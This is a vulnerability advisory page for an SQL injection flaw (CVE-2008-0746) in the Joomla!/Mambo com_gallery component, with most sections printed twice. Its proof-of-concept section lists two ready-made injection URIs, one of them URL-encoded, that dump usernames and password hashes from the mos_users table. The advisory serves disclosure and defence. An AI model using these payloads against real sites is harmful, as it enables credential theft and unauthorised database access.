Joomla! and Mambo com_gallery Component 'id' Parameter SQL Injection Vulnerability
BID:27695
Info
Joomla! and Mambo com_gallery Component 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 27695 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0746 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 08 2008 12:00AM |
| Updated: | May 07 2015 05:33PM |
| Credit: | S@BUN is credited with the discovery of this vulnerability. |
| Vulnerable: |
Mambo com_gallery Component 0 Joomla com_gallery Component 0 |
| Not Vulnerable: | |
Discussion
Joomla! and Mambo com_gallery Component 'id' Parameter SQL Injection Vulnerability
The Joomla! and Mambo 'com_gallery' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The Joomla! and Mambo 'com_gallery' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Joomla! and Mambo com_gallery Component 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*
http://www.example.com/index.php?option=com_gallery&Itemid=0&func=detail&id=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cpassword%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*
http://www.example.com/index.php?option=com_gallery&Itemid=0&func=detail&id=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cpassword%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users
Solution / Fix
Joomla! and Mambo com_gallery Component 'id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! and Mambo com_gallery Component 'id' Parameter SQL Injection Vulnerability
References:
References:
- Mambo Homepage (Mambo)